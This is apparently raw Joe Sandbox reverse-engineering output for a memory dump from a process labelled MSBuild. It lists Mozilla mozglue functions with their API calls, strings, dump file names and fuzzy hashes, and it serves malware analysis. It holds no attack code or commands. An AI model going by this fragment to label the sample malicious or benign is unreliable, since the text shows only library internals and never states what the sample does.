Part of subcall function 6C4B31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4B32AB
Part of subcall function 6C4B31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4B32D1
Part of subcall function 6C4B31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4B32E5
Part of subcall function 6C4B31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4B32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4C9675
__Init_thread_footer.LIBCMT ref: 6C4C9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4C96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4C9707
__Init_thread_footer.LIBCMT ref: 6C4C971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4C9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4C97B7
FreeLibrary.KERNEL32 ref: 6C4C97D0
FreeLibrary.KERNEL32 ref: 6C4C97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4C9824

Strings

NtMapViewOfSection, xrefs: 6C4C9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4C9670
ntdll.dll, xrefs: 6C4C96E3
MapViewOfFileNuma2, xrefs: 6C4C97B1

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 70bafcb606cbd60b319d5830eade3c6a89a0b8ba569f4fc86aa41a4c1f39eae4
Instruction ID: e692e1275c979facd9677d01cb9bd1be8df6fc9383bb150b24d54c82a9377525
Opcode Fuzzy Hash: 70bafcb606cbd60b319d5830eade3c6a89a0b8ba569f4fc86aa41a4c1f39eae4
Instruction Fuzzy Hash: BC61F375701201EBDF10DF68DC88F9A3BB0EB4A319F024259E91E877A0E7319854CB96

Function 6C4B31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4B3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4B3236
FreeLibrary.KERNEL32 ref: 6C4B324B
__Init_thread_footer.LIBCMT ref: 6C4B3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4B327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4B328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4B32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4B32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4B32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4B32F7

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

__aulldiv.LIBCMT ref: 6C4B346B

Strings

KernelBase.dll, xrefs: 6C4B3212
QueryInterruptTime, xrefs: 6C4B3230

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 8528fc26a7b4ca7e23c7d19e72e74255246e663f3acc90622af07f43b1ad676d
Instruction ID: 98d42ae5ab8ca2511a74612350fc9e76f0969952f67686c9554dc9a2a5b90ff0
Opcode Fuzzy Hash: 8528fc26a7b4ca7e23c7d19e72e74255246e663f3acc90622af07f43b1ad676d
Instruction Fuzzy Hash: 47610571A047018BC711DF39C850A5AB7F4FFC6355F228B1DE8A9A3790EB30A545CB96

Function 6C516660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C53F618), ref: 6C516694
GetThreadId.KERNEL32(?), ref: 6C5166B1
GetCurrentThreadId.KERNEL32 ref: 6C5166B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5166E1
EnterCriticalSection.KERNEL32(6C53F618), ref: 6C516734
GetCurrentProcess.KERNEL32 ref: 6C51673A
LeaveCriticalSection.KERNEL32(6C53F618), ref: 6C51676C
GetCurrentThread.KERNEL32 ref: 6C5167FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C516868
RtlCaptureContext.NTDLL ref: 6C51687F

Strings

WalkStack64, xrefs: 6C516890

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 29ee0cacb4c8d2d6918c5b3a299d444f534ed3c9ae036f0a3b0b3a25d61088f9
Instruction ID: 9af421091f2e5b1c13ecab833f5eccd37ca0a17688aee05bc95af9efbec3ab24
Opcode Fuzzy Hash: 29ee0cacb4c8d2d6918c5b3a299d444f534ed3c9ae036f0a3b0b3a25d61088f9
Instruction Fuzzy Hash: 25519D71A09311AFE721DF24CC48A5ABBF4FF89714F01492DF59887B40EB74E9048B96

Function 6C4FDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FDE73
GetCurrentThreadId.KERNEL32 ref: 6C4FDF7D
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FDF8A
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FDFC9
GetCurrentThreadId.KERNEL32 ref: 6C4FDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4C4A68), ref: 6C4FDE7B

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4C4A68), ref: 6C4FDEB8
free.MOZGLUE(00000000,?,6C4C4A68), ref: 6C4FDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C4FDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C4FDE83
<none>, xrefs: 6C4FDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C4FE00E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: ff986963f091cbc2ed3e64cab8f4b484283d4f44b431bc5906f9163cb2b1cacc
Instruction ID: 4db324d88a5af8befe243f263c566416e62204addd725a75015d4cc9d85cbe8b
Opcode Fuzzy Hash: ff986963f091cbc2ed3e64cab8f4b484283d4f44b431bc5906f9163cb2b1cacc
Instruction Fuzzy Hash: BF4108357016109BEB20EF68DC04FAA7775EBC630DF150159E92D97B42EB319806CBEA

Function 6C50D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D918
GetCurrentThreadId.KERNEL32 ref: 6C50D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D970
GetCurrentThreadId.KERNEL32 ref: 6C50D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C50DA2E
GetCurrentThreadId.KERNEL32 ref: 6C50DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C50DA91

Part of subcall function 6C4D5C50: GetTickCount64.KERNEL32 ref: 6C4D5D40
Part of subcall function 6C4D5C50: EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4D5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50DAB7

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: b7065b3ad9d9cf7cf7b1894bc51bfeb8237c9aac00acf2b0be72ff2807d5f524
Instruction ID: 8f5566fd2d16511eedc97f0cbcfb0a7e03f98dd651730233f48fc483af163cb4
Opcode Fuzzy Hash: b7065b3ad9d9cf7cf7b1894bc51bfeb8237c9aac00acf2b0be72ff2807d5f524
Instruction Fuzzy Hash: 13719C756047049FCB00DF28C888B9ABBF5FF89314F15856EE85A9B341EB30A944CB95

Function 6C50D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D52A
GetCurrentThreadId.KERNEL32 ref: 6C50D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D55F
free.MOZGLUE(00000000), ref: 6C50D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C50D5D3
GetCurrentThreadId.KERNEL32 ref: 6C50D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D652
GetCurrentThreadId.KERNEL32 ref: 6C50D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D6A2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 680b41e4d930d546196878473af51d2de2d06830e65ad4e5897a99fb267a92de
Instruction ID: 9063b8d8b171ddb3498fb292532c0f8740ddee8d6f7011612bb1d060e576b42d
Opcode Fuzzy Hash: 680b41e4d930d546196878473af51d2de2d06830e65ad4e5897a99fb267a92de
Instruction Fuzzy Hash: 46518D75604B05DFC714DF34C888A9ABBF4FF89318F118A2EE84A87751EB30A855CB95

Function 6C4B1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4B1EC1
LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4B1EE1
EnterCriticalSection.KERNEL32(6C53E744), ref: 6C4B1F38
LeaveCriticalSection.KERNEL32(6C53E744), ref: 6C4B1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4B1F83
LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4B1FC0
EnterCriticalSection.KERNEL32(6C53E784), ref: 6C4B1FE2
LeaveCriticalSection.KERNEL32(6C53E784), ref: 6C4B1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4B2019

Strings

\Sl, xrefs: 6C4B1F3E
DSl, xrefs: 6C4B1F56
DSl, xrefs: 6C4B1F32
MOZ_CRASH(), xrefs: 6C4B2000

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DSl$DSl$MOZ_CRASH()$\Sl
API String ID: 2055633661-3734195003
Opcode ID: a4ffe6cb52375199b307df5456556176a76bcccd319b4fe7c932c10c439daf13
Instruction ID: f000345c76a4e071d5262d05e1faaf0bfdc585be222a51d23760d5752f59cd67
Opcode Fuzzy Hash: a4ffe6cb52375199b307df5456556176a76bcccd319b4fe7c932c10c439daf13
Instruction Fuzzy Hash: 0C41A371B043558BDF10DF68CC89F6A7BB5EB49349F060129E909A7781EBB19804CBE5

Function 6C4D5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4D56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4D56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4D5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D57BC
GetTickCount64.KERNEL32 ref: 6C4D58CB
EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4D58F3
__aulldiv.LIBCMT ref: 6C4D5945
LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4D59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C53F638,?,?,?,?), ref: 6C4D59E9

Strings

MOZ_APP_RESTART, xrefs: 6C4D56CC

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 57c307f8973a25058d1b6770ff5f18aa0d3d0f9348dd28ae7c1969ce74503bca
Instruction ID: 075b095c30b9168c63519f9976896f9f7643b363c54e17d3265744f0fa57e79a
Opcode Fuzzy Hash: 57c307f8973a25058d1b6770ff5f18aa0d3d0f9348dd28ae7c1969ce74503bca
Instruction Fuzzy Hash: EEC18F71A087509FC715DF28C850A5AB7F1FF8A314F168B5DE8C897760EB30A885CB86

Function 6C4FEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FEC8C

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

GetCurrentThreadId.KERNEL32 ref: 6C4FECA1
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C4FECC5
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C4FED19
CloseHandle.KERNEL32(?), ref: 6C4FED28
free.MOZGLUE(00000000), ref: 6C4FED2F
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C4FEC94

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 40c600f599a9fd6431a65f00878b63d4b88828eb7379c2015ad0c7947def4e20
Instruction ID: fc0df06ec2c908c080af7a4d0ed34d79d553b5baf0e22027045ab8a488725f74
Opcode Fuzzy Hash: 40c600f599a9fd6431a65f00878b63d4b88828eb7379c2015ad0c7947def4e20
Instruction Fuzzy Hash: 0121F375600514ABDB10EF28DC44E9A3739EB8636EF114214FD2C87B81EB3198078BF6

Function 6C515FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C516009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C516024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QKl,?), ref: 6C516046
OutputDebugStringA.KERNEL32(?,QKl,?), ref: 6C516061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C516069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C516073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C516082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C53148E), ref: 6C516091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QKl,00000000,?), ref: 6C5160BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5160C4

Strings

QKl, xrefs: 6C515FFC, 6C516042, 6C516045, 6C5160B3

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QKl
API String ID: 3835517998-59417293
Opcode ID: bc8999838f3ac4f031484c4453bee62d4779efb6974cdf354668f6a4588c8315
Instruction ID: 763f8472b91da65602385f2642dc883ee0ef3071bce3b7891de0da2aee1230be
Opcode Fuzzy Hash: bc8999838f3ac4f031484c4453bee62d4779efb6974cdf354668f6a4588c8315
Instruction Fuzzy Hash: FB21B771A002189FDB206F24DC49A9E7BF8FF45314F018468E85E97740EB75A958CFD5

Function 6C4F8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C4BEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4BEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C4FB392,?,?,00000001), ref: 6C4F91F4

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

Strings

timeline-overview, xrefs: 6C4F907A
timeline-memory, xrefs: 6C4F9088
timeline-fileio, xrefs: 6C4F90A4
marker-chart, xrefs: 6C4F905E
timeline-ipc, xrefs: 6C4F9096
name, xrefs: 6C4F8F16
marker-table, xrefs: 6C4F906C
data, xrefs: 6C4F90E8
stack-chart, xrefs: 6C4F90B2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 29a41f0a1e46d033dd9594d91e6eaeb814316885959f81eaa04dc1b852ec82a3
Instruction ID: ede3722521dd08c06748f8abd5abc03497a0db007aa65e561b22a7e0a6be57fa
Opcode Fuzzy Hash: 29a41f0a1e46d033dd9594d91e6eaeb814316885959f81eaa04dc1b852ec82a3
Instruction Fuzzy Hash: B8B1B0B1A002199BDB04CF98C891FEEBBF5AFC4318F144529D416ABF90D7369946CBE1

Function 6C4DC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4DC5A3
WideCharToMultiByte.KERNEL32 ref: 6C4DC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4DC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4DCA12
